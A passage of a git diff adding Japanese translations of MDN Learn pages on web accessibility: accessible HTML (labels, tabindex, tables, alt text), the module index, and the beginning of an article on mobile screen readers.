</select> + </div> +</form></pre> + +<p>これは、リンクやボタンやフォーム要素やラベルを適切に用いることを意味しています (フォーム・コントロール用の {{htmlelement("label")}} 要素を含めています)。</p> + +<p>しかし、またしてもですが、人が HTML で変なことをする場合がときにはあるものです。たとえば、次のように {{htmlelement("div")}} を用いてマークアップしたボタンを見かけることも、ときにはあります。</p> + +<pre class="brush: html example-bad"><div data-message="This is from the first button">Click me!</div> +<div data-message="This is from the second button">Click me too!</div> +<div data-message="This is from the third button">And me!</div></pre> + +<p>しかし、そうしたコードを使うことは、勧められることではありません。単に {{htmlelement("button")}} 要素を使っていたなら得られていたはずの、ネイティブなキーボード・アクセシビリティを直ちに失ってしまううえに、当該ボタンが得るデフォルトの CSS スタイル付けを何も得られないからです。</p> + +<h4 id="Building_keyboard_accessibility_back_in" name="Building_keyboard_accessibility_back_in">キーボード・アクセシビリティを呼び戻すように盛り込む</h4> + +<p>そうした利点を呼び戻すように追加するには、ちょっとした作業が必要です (<a class="external external-icon" href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> で例示的コードを試せます。<a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">ソースコード</a> も参照してください)。ここでは、各ボタンに <code>tabindex="0"</code> という属性を付与することによって、見せかけの <code><div></code> ボタンにフォーカスを当てられるようにしました (タブキーを通じてのフォーカスを含みます)。</p> + +<pre class="brush: html"><div data-message="This is from the first button" tabindex="0">Click me!</div> +<div data-message="This is from the second button" tabindex="0">Click me too!</div> +<div data-message="This is from the third button" tabindex="0">And me!</div></pre> + +<p>基本的には、{{htmlattrxref("tabindex")}} 属性は、タブキーでの移動が可能な要素に、単なるデフォルトのソース順でのタブ移動の代わりとなる特別あつらえのタブ順序 (正数の順で指定されるもの) を持たせられるようにすることを、主に意図したものです。これはほとんどの場合、筋の悪い考え方です。なぜなら、重大な混乱を招きかねないからです。本当に必要な場合にのみ、{{htmlattrxref("tabindex")}} 属性を使うようにしてください。たとえば、レイアウトによって、物事がソースコードとはまるで違った見かけ上の順序で示されており、かつ、より論理的に物事を機能させたいと望んでいるような場合です。<code>tabindex</code> には、あと二つの選択肢があります。</p> + +<ul> + <li><code>tabindex="0"</code> — 上記のとおり、この値によって、普通ならタブキーでの移動が可能ではない要素が、タブキーでの移動が可能となります。これは、<code>tabindex</code> の一番有益な値です。</li> + <li><code>tabindex="-1"</code> — これによって、普通ならタブキーでの移動が可能ではない要素が、(たとえば JavaScript を介して) プログラム的にフォーカスを得たり、あるいはリンクのターゲットとしてフォーカスを得たりすることが可能となります。</li> +</ul> + +<p>上記のような追加作業によって、タブキーでボタンに移動できるようにはなりますが、エンターキー / リターンキーを介してボタンをアクティブにすることはできるようになりません。それを可能とするには、以下のようなちょっとした JavaScript のごまかしを追加せねばなりません。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">document<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">13</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// The Enter/Return key</span> + document<span class="punctuation token">.</span>activeElement<span class="punctuation token">.</span><span class="function token">onclick</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>ここでは、キーボード上でいつボタンが押されたのかを検出するために、<code>document</code> オブジェクトにリスナーを追加しています。どのボタンが押されたのかを、イベント・オブジェクトの <code><a href="https://developer.mozilla.org/ja/docs/Web/API/KeyboardEvent/keyCode">keyCode</a></code> プロパティを介して調べています。 [訳注: 以上の二つの文の「ボタン」はキーボード上のキーのことのようです。また、<code>keyCode</code> プロパティは非推奨になっています。]もしエンターキー / リターンキーに合致するキーコードだったら、<code>document.activeElement.onclick()</code> を用い、ボタンの <code>onclick</code> ハンドラーに記憶されている関数を実行します [訳注: この文の「ボタン」は <code><div></code> ボタンのことのようです]。<code><a href="https://developer.mozilla.org/ja/docs/Web/API/Document/activeElement">activeElement</a></code> は、ページ上で現在フォーカスの当たっている要素を教えてくれます。</p> + +<div class="note"> +<p><strong>注</strong>: 自分の独自のイベントハンドラーを、イベントハンドラー・プロパティ (たとえば <code>onclick</code>) を介して設定した場合にのみ、この技法がうまくいくだろうということに留意すべきです。<code>addEventListener</code> だと、うまくいきません。</p> +</div> + +<p>これでは、機能を呼び戻すように盛り込むための、余計な厄介ごとの山ですね。それに、これにともなう他の問題もきっとあるはずです。<strong>そもそも、単にふさわしい要素をふさわしい役割に使うべきなのです。</strong></p> + +<h4 id="Meaningful_text_labels" name="Meaningful_text_labels">意味の通るテキストラベル</h4> + +<p>UI コントロールのテキストラベルはあらゆるユーザーにとって大変有益ですが、そうしたラベルを適切なものにしておくことは、とりわけ、障碍のあるユーザーにとって重要です。</p> + +<p>ボタンとリンクテキストのラベルが、理解可能であり、かつ弁別性のあるものになっていることを、確認すべきです。ラベルとして単に「ここをクリック」を使うのはいけません。なぜなら、スクリーンリーダーのユーザーは、ボタンとフォーム・コントロールの一覧をまとめ上げることがあるからです。以下のスクリーンショットは、Mac 上の VoiceOver によって一覧化されたコントロールを示しています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14335/voiceover-formcontrols.png" style="display: block; height: 604px; margin: 0px auto; width: 802px;"></p> + +<p>ラベルが存在している段落の文脈内においてラベルが意味をなすようにするだけでなく、文脈を離れてもラベルが意味をなすように (ラベルが単独で読まれても意味をなすように) してください。たとえば、以下のものは、良いリンクテキストの例を示しています。</p> + +<pre class="brush: html example-good"><p>クジラは本当にすごい生き物です。<a href="whales.html">クジラについてもっと知ってくださいね</a>。</p></pre> + +<p>しかしこれは駄目なリンクテキストです。</p> + +<pre class="brush: html example-bad"><p>クジラは本当にすごい生き物です。クジラについてもっと知るには、<a href="whales.html">ここをクリックしてください</a>。</p></pre> + +<div class="note"> +<p><strong>注</strong>: リンクの実装とベスト・プラクティスに関するさらなる情報を、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a> という記事で知ることができます。また、いくつかの良い例と悪い例を、<a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a> と <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> で見ることもできます。</p> +</div> + +<p>フォーム・ラベルも重要です。なぜなら、各フォーム入力欄に何を入力する必要があるのかについての手がかりを与えてくれるからです。以下のものは、十分に筋の通った例のように見えます。</p> + +<pre class="brush: html example-bad">名前を入れてください: <input type="text" id="name" name="name"></pre> + +<p>しかしこれは、障碍のあるユーザーにとって、それほど有用ではありません。このラベルを曖昧性なしにフォーム入力欄に結びつけ、そして、仮に入力欄が見えなくても、入力欄をどう埋めたら良いのかを明確にしてくれるものが、上記の例には何もありません。なんらかのスクリーンリーダーでこの例にアクセスした場合には、「テキストを編集する」のような感じの説明のみが与えられることもあるかもしれません。</p> + +<p>以下のものは、ずっと良い例です。</p> + +<pre class="brush: html example-good"><div> + <label for="name">名前を入れてください:</label> + <input type="text" id="name" name="name"> +</div></pre> + +<p>このようなコードだと、ラベルが明確に入力欄と結びつけられることになります。説明は、(上記のような単なる「テキストを編集する」ではなくて) むしろ「名前を入れてください: テキストを編集する」といった感じのものになるでしょう。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png" style="display: block; margin: 0 auto;"></p> + +<p>追加のおまけとして、ほとんどのブラウザにおいて、ラベルをフォーム入力欄に結びつけることは、ラベルをクリックして当該フォーム要素を選択 / アクティブ化することが可能なことを意味します。このことにより、入力欄に対して、より大きなヒット領域を与えることになり、したがって、入力欄が選択しやすくなります。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> と <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a> で、いくつかの良いフォーム例と悪いフォーム例を見られます。</p> +</div> + +<h2 id="Accessible_data_tables" name="Accessible_data_tables">アクセシブルなデータテーブル</h2> + +<p>基本的なデータテーブルは、たとえば以下のように、とても簡素なマークアップで書けます。</p> + +<pre class="brush: html"><table> + <tr> + <td>Name</td> + <td>Age</td> + <td>Gender</td> + </tr> + <tr> + <td>Gabriel</td> + <td>13</td> + <td>Male</td> + </tr> + <tr> + <td>Elva</td> + <td>8</td> + <td>Female</td> + </tr> + <tr> + <td>Freida</td> + <td>5</td> + <td>Female</td> + </tr> +</table></pre> + +<p>しかしこれには問題があります。スクリーンリーダーのユーザーには、行または列をデータの集まりとしてまとめて関連づける手段が何もないのです。こうした関連づけを行うには、見出し行がどれなのか、見出し行は複数の行を統率しているのか、複数の列を統率しているのか、などといったことを知らねばなりません。こうしたことは、上記のテーブルでは、視覚的に行われる以外にありません (<a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> を参照して、その例をご自分で試してみてください)。</p> + +<p>では、 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">パンクバンドのテーブルの例</a> を見てみましょう。ここでは、多少のアクセシビリティ支援が機能していることが分かりますね。</p> + +<ul> + <li>テーブルの見出しは、 {{htmlelement("th")}} 要素を用いて定義されています。さらに、<code>scope</code> 属性を使って、その見出しが行に対する見出しなのか列に対する見出しなのかを指定することもできます。こうすると、スクリーンリーダーが一つの単位として処理できる、データの完全なグループが示されることになります。</li> + <li>{{htmlelement("caption")}} 要素と、<code><table></code> の <code>summary</code> 属性は、どちらも似たような役割を果たします。テーブルに対する alt テキストとして機能し、スクリーンリーダーのユーザーに対して、テーブルの中身についての有用で手短な要約を示すのです。<code><caption></code> が一般に好ましいのですが、それは、晴眼者のユーザーに対しても <code><caption></code> の中身がアクセシブルだからであり、晴眼者のユーザーもその中身を有用だと思うでしょう。実際には、(必ずしも) 二つとも必要というわけではありません。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: アクセシブルなデータテーブルにまつわる更なる詳細は、<a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML テーブルの発展的な機能とアクセシビリティ</a> という記事を参照してください。</p> +</div> + +<h2 id="Text_alternatives" name="Text_alternatives">代替テキスト</h2> + +<p>テキストによるコンテンツは本質的にアクセシブルですが、マルチメディア・コンテンツについては必ずしも同じことが言えるわけではありません。画像 / 動画コンテンツは視覚障碍者には見えず、音声コンテンツは聴覚障碍者には聞こえません。動画と音声のコンテンツについては、<a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a> という記事で後に詳しく扱うことにしますが、本記事では、ごく普通の {{htmlelement("img")}} 要素についてのアクセシビリティを見てゆきましょう。</p> + +<p><a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">accessible-image.html</a> という簡単な例を書き上げました。これは、4 枚の同じ画像を含んでいます。</p> + +<pre><img src="dinosaur.png"> + +<img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> +<!-- +[alt 属性の訳: 赤いティラノサウルス・レックス。人間のように直立する二足歩行の恐竜で、腕は小さく、頭部は大きくて多くの鋭い歯があります。] +--> + +<img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth." + title="The Mozilla red dinosaur"> +<!-- +[alt 属性の訳: 赤いティラノサウルス・レックス。人間のように直立する二足歩行の恐竜で、腕は小さく、頭部は大きくて多くの鋭い歯があります。] +[title 属性の訳: Mozzila の赤い恐竜] +--> + +<img src="dinosaur.png" aria-labelledby="dino-label"> + +<p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> +<!-- +[p 要素の中身の訳: Mozilla の赤いティラノサウルス・レックス。人間のように直立する二足歩行の恐竜で、腕は小さく、頭部は大きくて多くの鋭い歯があります。] +--></pre> + +<p>1 枚目の画像は、スクリーンリーダーで見たときに、実際のところ大した手助けをユーザーに与えてはくれません。たとえば VoiceOver は、「/dinosaur.png, image」と読み上げます。なんらかの手助けを提供しようとしてファイル名を読み上げるわけです。この例では、ユーザーは、少なくともこれがある種の恐竜なのだと知ることでしょうが、機械で生成されたファイル名とともにファイルが (たとえばディジタルカメラから) アップロードされる場合もよくありますし、そうしたファイル名は画像の中身に対する文脈を何も与えてはくれないでしょう。</p> + +<div class="note"> +<p><strong>注</strong>: これこそが、画像の内部にテキストコンテンツを決して含めるべきではない理由です。スクリーンリーダーは、まったくそのテキストコンテンツにアクセスできません。それに、他の欠点もあります。すなわち、そのテキストコンテンツを選択することもコピー / ペーストすることもできません。画像の内部にテキストコンテンツを含めるなどということは、とにかくしないでください!</p> +</div> + +<p>スクリーンリーダーは、2 枚目の画像に出くわすと、alt 属性を丸々読み上げます。つまり、「赤いティラノサウルス・レックス。人間のように直立する二足歩行の恐竜で、腕は小さく、頭部は大きくて多くの鋭い歯があります」と読み上げます。</p> + +<p>この例は、いわゆる <strong>alt テキスト</strong>が万一使えない場合に備えて意味のあるファイル名を使うことだけでなく、可能な場合にはいつでも alt テキストを <code>alt</code> 属性において確実に提供しておくことの重要性を、際立たせるものです。<code>alt</code> 属性の中身は常に、画像の端的な描写と、画像が視覚的に伝えているものとを提供すべきであることに、注意してください。ここには、個人的な知識や追加的な説明を何も含めるべきではありません。なぜなら、以前にその画像に出くわしたことのない人にとって有益ではないからです。</p> + +<p>考えるべきことの一つは、画像がコンテンツの内部で意味を持っているのか、あるいは、純粋に視覚的装飾のためのものであって意味は持たないのか、ということです。もし画像が装飾用であれば、その画像を CSS 背景画像としてページ内に含めるだけにする方が良いのです。</p> + +<div class="note"> +<p><strong>注</strong>: 画像の実装とベスト・プラクティスについての更なる多くの情報については、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a> と <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> をお読みください。</p> +</div> + +<p>文脈のある追加的な情報をどうしても提示したい場合、その情報は、画像の周囲のテキストの中か、あるいは、上記のように <code>title</code> 属性の内部に入れるべきです。この場合、ほとんどのスクリーンリーダーは、<code>alt</code> テキストと、<code>title</code> 属性と、ファイル名とを読み上げるでしょう。さらに、マウスオーバーしたときには、ブラウザが <code>title</code> テキストをツールチップとして表示します。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14333/title-attribute.png" style="display: block; margin: 0 auto;"></p> + +<p>4 番目の方法についてもざっと見ておきましょう。</p> + +<pre class="brush: html"><img src="dinosaur.png" aria-labelledby="dino-label"> + +<p id="dino-label">The Mozilla red Tyrannosaurus ... </p></pre> + +<p>この場合、<code>alt</code> 属性をまったく使っていません。その代わり、画像についての説明を通常のテキスト段落として提示し、その段落に <code>id</code> を与え、そして、その <code>id</code> を参照するための <code>aria-labelledby</code> 属性を用いました。こうすると、スクリーンリーダーに、その段落をその画像についての alt テキスト / ラベルとして使わせることになります。これは、複数の画像に対して同じテキストをラベルとして使いたい場合に、とりわけ有用です (こうしたことは、<code>alt</code> を使ってではできない事柄なのです)。</p> + +<div class="note"> +<p><strong>注</strong>: <code>aria-labelledby</code> は <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> 仕様の一部です。これのおかげで開発者は、必要な箇所においてスクリーンリーダーのアクセシビリティを高めるために、自分のマークアップに追加的な意味 (セマンティクス) を足すことができます。これがどのように機能するのかについての更なる情報を知るには、<a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a> の記事をお読みください。</p> +</div> + +<h3 id="Other_text_alternative_mechanisms" name="Other_text_alternative_mechanisms">その他の代替テキストの仕組み</h3> + +<p>画像には、説明的テキストを提供するのに利用可能な別の仕組みもあります。たとえば、画像についての広範囲にわたる説明を含む別のウェブドキュメントを指すことを意図した、<code>longdesc</code> 属性があります。たとえば以下のようなものです。</p> + +<pre class="brush: html"><img src="dinosaur.png" longdesc="dino-info.html"></pre> + +<p>これは良い考えのように思えます。というのも、とりわけ、多くの情報が載っている大きな図表のようなインフォグラフィックを、代わりにアクセシブルなデータテーブル (前節を参照) として表現することがおそらくは可能でしょうから。しかし、<code>longdesc</code> は、スクリーンリーダーによっていつもサポートされているわけではありませんし、スクリーンリーダー以外のものを使っているユーザーにとっては、コンテンツがまったくアクセス不能です。まず間違いなく、画像と同じページに長い説明を含めるか、あるいは、通常のリンクを使って長い説明にリンクする方が、ずっと良いのです。</p> + +<p>HTML5 は、{{htmlelement("figure")}} と {{htmlelement("figcaption")}} という二つの新規要素を含みます。これらは、なんらかの種類の図面 (任意のものであってよく、必ずしも画像とは限りません) を、図面キャプション (説明文) と結びつけることになっているものです。</p> + +<pre class="brush: html"><figure> + <img src="dinosaur.png" alt="Mozilla のティラノサウルス"> + <figcaption>赤いティラノサウルス・レックス。人間のように直立する二足歩行の恐竜で、腕は小さく、頭部は大きくて多くの鋭い歯があります。</figcaption> +</figure></pre> + +<p>あいにく、ほとんどのスクリーンリーダーは、まだ、図面キャプションを図面と結びつけてはくれないようです。ですが、この要素構造は CSS でのスタイルづけにとって有益ですし、ソース内で画像の隣にその画像の説明を配置するための手段を与えてもくれます。</p> + +<h3 id="Empty_alt_attributes" name="Empty_alt_attributes">空の代替テキスト</h3> + +<pre class="brush: html"><h3> + <img src="article-icon.png" alt=""> + ティラノサウルス・レックス: 恐竜の王 +</h3></pre> + +<p>画像がページのデザインに含まれるけれども、主目的は視覚的装飾である、といった場合もあるかもしれません。上記のコード例において、画像の <code>alt</code> 属性が空であることにお気づきでしょう。これは、スクリーンリーダーに画像を認識させるものですが、その画像を説明しようとさせるものではありません (説明する代わりに、スクリーンリーダーは、単に「画像」とか何とか言うでしょう)。</p> + +<p><code>alt</code> を含めないようにする代わりに空の <code>alt</code> を用いる理由は、<code>alt</code> が与えられていない場合には多くのスクリーンリーダーが画像の URL を丸々全部発声するからです。上記の例において画像は、その画像が結びつけられている見出しに対する視覚的装飾として機能しています。このような場合、および、画像が単に装飾にすぎず中身の価値がない場合には、画像に空の <code>alt</code> を入れるべきです。別の選択肢は、<code>role="presentation"</code> という ARIA <code>role</code> 属性を使うことです。こうすることによっても、スクリーンリーダーに代替テキスト (<code>alt</code> テキスト) を読み上げるのをやめさせることができます。</p> + +<div class="note"> +<p><strong>注</strong>: もし可能なら、単なる修飾であるような画像を表示するのには CSS を使うべきです。</p> +</div> + +<h2 id="Summary" name="Summary">要約</h2> + +<p> 今や読者の皆さんは、ほとんどの場合にアクセシブルな HTML を書くことについて、熟知しているはずです。<a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a> の記事も、この知識の抜けを埋めてくれるでしょうが、本記事でもその基本には気を配ってきました。次は、CSS と JavaScript を検討しましょう。そして、CSS と JavaScript の良い使い方やまずい使い方によって、アクセシビリティがどのような影響を受けるのかを検討しましょう。</p> + +<p>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</p> + +<p> </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは?</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/accessibility/index.html b/files/ja/learn/accessibility/index.html new file mode 100644 index 0000000000..eb71416a85 --- /dev/null +++ b/files/ja/learn/accessibility/index.html @@ -0,0 +1,63 @@ +--- +title: アクセシビリティ +slug: Learn/Accessibility +tags: + - ARIA + - Accessibility + - Articles + - Beginner + - CSS + - CodingScripting + - HTML + - JavaScript + - Landing + - Learn + - Module + - アクセシビリティ + - ランディング + - 初心者 +translation_of: Learn/Accessibility +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">ウェブ開発者になりたい場合、HTML, CSS, JavaScript の学習は役立ちます。しかし知識は単に技術を使うよりも前に進める必要があります — それらを責任を持って使う必要があり、その結果ウェブサイトの聴衆を増やし、またそれを使わないことに縛らないことになります。これを達成するには、一般的な成功事例 (<a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, <a href="/ja/docs/Learn/JavaScript">JavaScript</a> のトピックに示されています) を積み上げ、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing">クロスブラウザーテスト</a>を行って、最初からアクセシビリティを考慮しておきます。このモジュールでは後者を詳しく扱います。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提知識</h2> + +<p>このモジュールの大半の理解には、少なくとも <a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, <a href="/ja/docs/Learn/JavaScript">JavaScript</a> の最初の 2 モジュールを通して読むのが良いでしょうし、 たぶんもっと良いのは、関連するテクノロジートピックを進めるにつれて、関連するアクセシビリティの部分を進めるのが良いでしょう。</p> + +<div class="note"> +<p><strong>メモ</strong>: 自分のファイルを作れない コンピューター/タブレット/その他の端末で作業する場合、コードの実例の大半を <a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> などのオンラインコーディングプログラム内で試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは？</a></dt> + <dd>この記事では実際アクセシビリティとは何かについてよく観察するモジュールから開始します — これには考慮が必要な人のグループや、いろいろな人がウェブとやり取りするのになぜ、どんなツールを使うのかや、アクセシビリティをウェブ開発の作業フローに取り組む方法が含まれます。</dd> + <dt><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></dt> + <dd>ウェブコンテンツをアクセシビリティ高くすることの多くの部分は、どんなときも正しい HTML要素を正しい目的で使うことです。 この記事ではアクセシビリティを最大化するためにどう HTML が使われるかの詳細を見ていきます。</dd> + <dt><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティ成功事例</a></dt> + <dd>CSS と JavaScript も、適切に使うと、アクセシビリティの高いウェブ体験を可能にする力を持っていますが、誤用されると目立ってアクセシビリティを害することもあります。この記事では、複雑なコンテンツでもなるべくアクセシビリティ高める CSS と JavaScript のいくつかの成功事例をざっと見ます。</dd> + <dt><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></dt> + <dd>前の記事に続いて、複雑な UI に非セマンティックな HTML や動的な JavaScript-更新コンテンツを作ることは難しいかもしれません。WAI-ARIA は、そうした問題をブラウザーと補助技術が認識できるセマンティクスを追加することで補助し、ユーザーに何が起きているのかを知らせるのに使うテクノロジーです。ここではアクセシビリティを改善する基本レベルの使用方法を示します。</dd> + <dt><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></dt> + <dd>アクセシビリティの問題を起こす可能性がある他のカテゴリは、マルチメディアです。ビデオ、オーディオ、およびイメージのコンテンツには、補助技術とユーザーが理解できるような、適切な代替テキストを付与する必要があります。どのように表示されるべきか分かるように。</dd> + <dt><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルアクセシビリティ</a></dt> + <dd>モバイル端末でのウェブへのアクセスが増えるとともに、アクセシビリティのツールが本格的に提供されている iOS や Android のような一般的なプラットフォームが普及しています。これらのプラットフォームでのあなたのウェブコンテンツのアクセシビリティを考えることが重要です。モバイル特有のアクセシビリティについて検討しましょう。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></dt> + <dd>このモジュールの評価では、分析と修正が必要な多くのアクセシビリティの問題があるシンプルなサイトを紹介します。</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today</a> — Marcy Sutton によるすばらしい動画チュートリアル</li> + <li><a href="https://dequeuniversity.com/resources/">Deque University resources</a> — コードサンプルやスクリーンリーダーリファレンスやその他の役立つリソースを含む</li> + <li><a href="http://webaim.org/resources/">WebAIM resources</a> — ガイド、チェックリスト、ツールなどを含む</li> +</ul> diff --git a/files/ja/learn/accessibility/mobile/index.html b/files/ja/learn/accessibility/mobile/index.html new file mode 100644 index 0000000000..24cad97ef9 --- /dev/null +++ b/files/ja/learn/accessibility/mobile/index.html @@ -0,0 +1,316 @@ +--- +title: モバイルのアクセシビリティ +slug: Learn/Accessibility/Mobile +tags: + - Accessibility + - コードスクリプト + - スクリーンリーダー + - タッチ + - モバイル + - レスポンシブ + - 初心者 + - 学習 + - 記事 +translation_of: Learn/Accessibility/Mobile +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div> + +<p class="summary">モバイルデバイスでのウェブアクセスは非常に人気があり、iOS や Android などの一般的なプラットフォームには本格的なアクセシビリティツールが備わっているため、これらのプラットフォームでのウェブコンテンツのアクセシビリティを考慮することが重要です。この記事では、モバイル固有のアクセシビリティについて検討します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識</th> + <td>基本的なコンピューターの知識、HTML、CSS、JavaScript の基本的な知識、<a href="/ja/docs/Learn/Accessibility">前回までの記事</a>の理解。</td> + </tr> + <tr> + <th scope="row">学習目標</th> + <td>モバイルデバイスのアクセシビリティにどのような問題があるのか、またそれらを克服する方法を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="Accessibility_on_mobile_devices" name="Accessibility_on_mobile_devices">モバイルデバイスのアクセシビリティ</h2> + +<p>アクセシビリティの現状と、ウェブ標準全般のサポートは、現代のモバイルデバイスでは優れています。モバイルデバイスがデスクトップブラウザーとはまったく異なるウェブ技術を実行し、開発者がブラウザースニッフィングを使用してそれらを完全に別々のサイトで提供することを余儀なくされた時代は終わりました（ただし、かなりの数の企業が依然としてモバイルデバイスの使用を検出し、それらに別のモバイルドメインを提供しています）。</p> + +<p>最近の一般的なモバイルデバイスは、「脂肪分たっぷり」のウェブサイトを扱うことができ、主なプラットフォームには視覚障害のあるユーザーがそれらをうまく使えるようにスクリーンリーダーが組み込まれています。最近のモバイルブラウザーは <a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> もよくサポートしています。</p> + +<p>ウェブサイトをモバイルでアクセス可能かつ使用可能にするには、一般的な優れたウェブデザインとアクセシビリティのベストプラクティスに従う必要があるだけです。</p> + +<p>モバイルに特別な配慮が必要な例外がいくつかあります。主なものは次のとおりです。</p> + +<ul> + <li>制御機構 — ボタンのようなインターフェイスのコントロールが、デスクトップやラップトップ（主にマウスとキーボード）と同様に、モバイル（主にタッチスクリーン）でアクセス可能であることを確認する。</li> + <li>ユーザー入力 — モバイルでのユーザー入力要件をできるだけ苦痛でないものにします（例えば、フォームでは、タイピングを最小限に抑えます）。</li> + <li>レスポンシブデザイン — レイアウトがモバイルで機能することを確認し、画像のダウンロードサイズを節約し、高解像度画面用の画像の提供について検討します。</li> +</ul> + +<h2 id="Summary_of_screenreader_testing_on_Android_and_iOS" name="Summary_of_screenreader_testing_on_Android_and_iOS">Android および iOS でのスクリーンリーダーテストの概要</h2> + +<p>最も一般的なモバイルプラットフォームは完全に機能的なスクリーンリーダーを持っています。これらはデスクトップのスクリーンリーダーとほとんど同じように機能しますが、キーの組み合わせではなくタッチジェスチャーを使用して主に操作される点が異なります。</p> + +<p>主な 2 つを見てみましょう: Android の TalkBack と iOS の VoiceOver です。</p> + +<h3 id="Android_TalkBack" name="Android_TalkBack">Android TalkBack</h3> + +<p>TalkBack スクリーンリーダーは Android オペレーティングシステムに組み込まれています。</p> + +<p>オンにするには、スマートフォンのモデルと Android バージョンを調べて、TalkBack メニューの場所を探します。これは Android のバージョンやスマートフォンのモデルによっても大きく違います。あるスマートフォンメーカー(Samusung など)では、最新の機種で TalkBack がなくて、代わりに独自のスクリーンリーダーを選んでいることもあります。</p> + +<p>TalkBack メニューが見つかったら、スライダースイッチを押してオンにします。画面に表示される追加の指示に従います。</p> + +<p>TalkBack がオンになっているとき、あなたの Android デバイスの基本的なコントロールは少し違います。例えば、</p> + +<ol> + <li> アプリをシングルタップするとそれが選択され、デバイスはそのアプリが何かを読み上げます。</li> + <li>左右にスワイプすると、アプリ間、またはコントロールバーにいる場合はボタンやコントロールの間を移動します。デバイスは各オプションを読み上げます。</li> + <li>どこでもダブルタップするとアプリが開いたり、オプションが選択されたりします。</li> + <li>また、「タッチで探索」することもできます — ドラッグ（指を画面に置いたまま移動）すると、デバイスは移動先のさまざまなアプリや項目を読み上げます。</li> +</ol> + +<p>TalkBack 